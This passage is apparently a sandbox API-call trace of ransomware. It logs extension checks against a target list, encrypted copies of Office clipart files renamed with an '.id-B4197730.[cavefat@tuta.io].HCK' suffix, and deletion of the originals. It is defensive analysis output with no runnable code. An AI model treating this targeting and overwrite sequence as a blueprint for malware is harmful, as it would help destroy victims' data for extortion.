lstrlenW (lpString=".rar") returned 4 [0171.013] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.013] lstrlenW (lpString=".bz2") returned 4 [0171.013] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.013] lstrlenW (lpString=".7z") returned 3 [0171.013] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216874.WMF") returned 68 [0171.013] lstrlenW (lpString=".dbf") returned 4 [0171.013] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216874.WMF") returned 68 [0171.013] lstrlenW (lpString=".1cd") returned 4 [0171.013] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216874.WMF") returned 68 [0171.013] lstrlenW (lpString=".jpg") returned 4 [0171.013] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.014] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0171.014] lstrlenW (lpString="J0227419.JPG") returned 12 [0171.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0227419.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0171.020] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=35542) returned 1 [0171.020] CloseHandle (hObject=0x398) returned 1 [0171.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0227419.jpg")) returned 0x220 [0171.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0227419.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0227419.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0171.026] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.026] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0227419.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0171.041] GetLastError () returned 0x0 [0171.041] ReadFile (in: hFile=0x374, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x8ad6, lpOverlapped=0x0) returned 1 [0171.045] WriteFile (in: hFile=0x398, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x8ae0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x8ae0, lpOverlapped=0x0) returned 1 [0171.045] ReadFile (in: hFile=0x374, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.046] WriteFile (in: hFile=0x398, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.046] SetEndOfFile (hFile=0x398) returned 1 [0171.050] CloseHandle (hObject=0x398) returned 1 [0171.058] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.058] SetEndOfFile (hFile=0x374) returned 1 [0171.061] CloseHandle (hObject=0x374) returned 1 [0171.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.062] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0227419.jpg")) returned 1 [0171.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.JPG") returned 68 [0171.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.JPG") returned 68 [0171.063] lstrlenW (lpString=".doc") returned 4 [0171.063] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0171.063] lstrlenW (lpString=".docx") returned 5 [0171.063] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0171.063] lstrlenW (lpString=".pdf") returned 4 [0171.063] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0171.063] lstrlenW (lpString=".xls") returned 4 [0171.063] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0171.063] lstrlenW (lpString=".xlsx") returned 5 [0171.064] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0171.064] lstrlenW (lpString=".ppt") returned 4 [0171.064] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0171.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.JPG") returned 68 [0171.064] lstrlenW (lpString=".zip") returned 4 [0171.064] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0171.064] lstrlenW (lpString=".rar") returned 4 [0171.064] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0171.064] lstrlenW (lpString=".bz2") returned 4 [0171.064] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0171.064] lstrlenW (lpString=".7z") returned 3 [0171.064] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0171.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.JPG") returned 68 [0171.064] lstrlenW (lpString=".dbf") returned 4 [0171.064] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0171.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.JPG") returned 68 [0171.064] lstrlenW (lpString=".1cd") returned 4 [0171.064] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0171.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.JPG") returned 68 [0171.064] lstrlenW (lpString=".jpg") returned 4 [0171.064] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0171.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.JPG") returned 68 [0171.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.JPG") returned 68 [0171.064] lstrlenW (lpString=".doc") returned 4 [0171.064] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0171.064] lstrlenW (lpString=".docx") returned 5 [0171.064] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0171.064] lstrlenW (lpString=".pdf") returned 4 [0171.064] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0171.064] lstrlenW (lpString=".xls") returned 4 [0171.064] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0171.064] lstrlenW (lpString=".xlsx") returned 5 [0171.064] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0171.064] lstrlenW (lpString=".ppt") returned 4 [0171.064] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0171.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.JPG") returned 68 [0171.064] lstrlenW (lpString=".zip") returned 4 [0171.064] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0171.064] lstrlenW (lpString=".rar") returned 4 [0171.064] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0171.064] lstrlenW (lpString=".bz2") returned 4 [0171.064] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0171.064] lstrlenW (lpString=".7z") returned 3 [0171.064] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0171.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.JPG") returned 68 [0171.064] lstrlenW (lpString=".dbf") returned 4 [0171.064] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0171.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.JPG") returned 68 [0171.064] lstrlenW (lpString=".1cd") returned 4 [0171.064] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0171.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.JPG") returned 68 [0171.064] lstrlenW (lpString=".jpg") returned 4 [0171.064] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0171.065] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.065] lstrlenW (lpString="J0230558.WMF") returned 12 [0171.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0230558.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0171.071] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=4198) returned 1 [0171.072] CloseHandle (hObject=0x374) returned 1 [0171.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0230558.wmf")) returned 0x220 [0171.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230558.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0230558.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0230558.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0171.076] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.076] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230558.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0230558.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0171.086] GetLastError () returned 0x0 [0171.086] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1066, lpOverlapped=0x0) returned 1 [0171.088] WriteFile (in: hFile=0x378, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1070, lpOverlapped=0x0) returned 1 [0171.089] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.089] WriteFile (in: hFile=0x378, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.089] SetEndOfFile (hFile=0x378) returned 1 [0171.091] CloseHandle (hObject=0x378) returned 1 [0171.094] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.094] SetEndOfFile (hFile=0x39c) returned 1 [0171.097] CloseHandle (hObject=0x39c) returned 1 [0171.100] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230558.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.100] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0230558.wmf")) returned 1 [0171.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230558.WMF") returned 68 [0171.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230558.WMF") returned 68 [0171.104] lstrlenW (lpString=".doc") returned 4 [0171.104] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.104] lstrlenW (lpString=".docx") returned 5 [0171.104] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0171.104] lstrlenW (lpString=".pdf") returned 4 [0171.104] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.104] lstrlenW (lpString=".xls") returned 4 [0171.104] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.104] lstrlenW (lpString=".xlsx") returned 5 [0171.104] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0171.104] lstrlenW (lpString=".ppt") returned 4 [0171.104] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230558.WMF") returned 68 [0171.104] lstrlenW (lpString=".zip") returned 4 [0171.104] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.104] lstrlenW (lpString=".rar") returned 4 [0171.104] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.104] lstrlenW (lpString=".bz2") returned 4 [0171.104] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.104] lstrlenW (lpString=".7z") returned 3 [0171.104] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230558.WMF") returned 68 [0171.104] lstrlenW (lpString=".dbf") returned 4 [0171.104] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230558.WMF") returned 68 [0171.104] lstrlenW (lpString=".1cd") returned 4 [0171.104] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230558.WMF") returned 68 [0171.104] lstrlenW (lpString=".jpg") returned 4 [0171.104] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230558.WMF") returned 68 [0171.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230558.WMF") returned 68 [0171.105] lstrlenW (lpString=".doc") returned 4 [0171.105] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.105] lstrlenW (lpString=".docx") returned 5 [0171.105] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0171.105] lstrlenW (lpString=".pdf") returned 4 [0171.105] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.105] lstrlenW (lpString=".xls") returned 4 [0171.105] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.105] lstrlenW (lpString=".xlsx") returned 5 [0171.105] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0171.105] lstrlenW (lpString=".ppt") returned 4 [0171.105] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230558.WMF") returned 68 [0171.105] lstrlenW (lpString=".zip") returned 4 [0171.105] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.105] lstrlenW (lpString=".rar") returned 4 [0171.105] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.105] lstrlenW (lpString=".bz2") returned 4 [0171.105] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.105] lstrlenW (lpString=".7z") returned 3 [0171.105] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230558.WMF") returned 68 [0171.105] lstrlenW (lpString=".dbf") returned 4 [0171.105] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230558.WMF") returned 68 [0171.105] lstrlenW (lpString=".1cd") returned 4 [0171.105] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230558.WMF") returned 68 [0171.105] lstrlenW (lpString=".jpg") returned 4 [0171.105] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.105] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.105] lstrlenW (lpString="J0232795.WMF") returned 12 [0171.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232795.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0171.108] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=14346) returned 1 [0171.109] CloseHandle (hObject=0x308) returned 1 [0171.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232795.wmf")) returned 0x220 [0171.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232795.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232795.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232795.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0171.120] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.120] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232795.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232795.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0171.128] GetLastError () returned 0x0 [0171.128] ReadFile (in: hFile=0x374, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x380a, lpOverlapped=0x0) returned 1 [0171.129] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x3810, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x3810, lpOverlapped=0x0) returned 1 [0171.130] ReadFile (in: hFile=0x374, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.130] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.130] SetEndOfFile (hFile=0x364) returned 1 [0171.133] CloseHandle (hObject=0x364) returned 1 [0171.134] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.134] SetEndOfFile (hFile=0x374) returned 1 [0171.143] CloseHandle (hObject=0x374) returned 1 [0171.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232795.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.145] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232795.wmf")) returned 1 [0171.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232795.WMF") returned 68 [0171.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232795.WMF") returned 68 [0171.147] lstrlenW (lpString=".doc") returned 4 [0171.147] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.147] lstrlenW (lpString=".docx") returned 5 [0171.147] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0171.147] lstrlenW (lpString=".pdf") returned 4 [0171.147] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.147] lstrlenW (lpString=".xls") returned 4 [0171.147] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.147] lstrlenW (lpString=".xlsx") returned 5 [0171.147] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0171.147] lstrlenW (lpString=".ppt") returned 4 [0171.147] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232795.WMF") returned 68 [0171.147] lstrlenW (lpString=".zip") returned 4 [0171.147] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.147] lstrlenW (lpString=".rar") returned 4 [0171.147] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.147] lstrlenW (lpString=".bz2") returned 4 [0171.147] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.147] lstrlenW (lpString=".7z") returned 3 [0171.147] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232795.WMF") returned 68 [0171.147] lstrlenW (lpString=".dbf") returned 4 [0171.147] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232795.WMF") returned 68 [0171.147] lstrlenW (lpString=".1cd") returned 4 [0171.147] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232795.WMF") returned 68 [0171.147] lstrlenW (lpString=".jpg") returned 4 [0171.147] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232795.WMF") returned 68 [0171.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232795.WMF") returned 68 [0171.147] lstrlenW (lpString=".doc") returned 4 [0171.147] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.147] lstrlenW (lpString=".docx") returned 5 [0171.147] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0171.147] lstrlenW (lpString=".pdf") returned 4 [0171.147] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.147] lstrlenW (lpString=".xls") returned 4 [0171.147] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.147] lstrlenW (lpString=".xlsx") returned 5 [0171.147] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0171.147] lstrlenW (lpString=".ppt") returned 4 [0171.147] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232795.WMF") returned 68 [0171.147] lstrlenW (lpString=".zip") returned 4 [0171.147] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.147] lstrlenW (lpString=".rar") returned 4 [0171.147] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.147] lstrlenW (lpString=".bz2") returned 4 [0171.147] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.147] lstrlenW (lpString=".7z") returned 3 [0171.147] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232795.WMF") returned 68 [0171.148] lstrlenW (lpString=".dbf") returned 4 [0171.148] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.148] lstrlenW (lpString="C:\\Program Files\\Microsoft 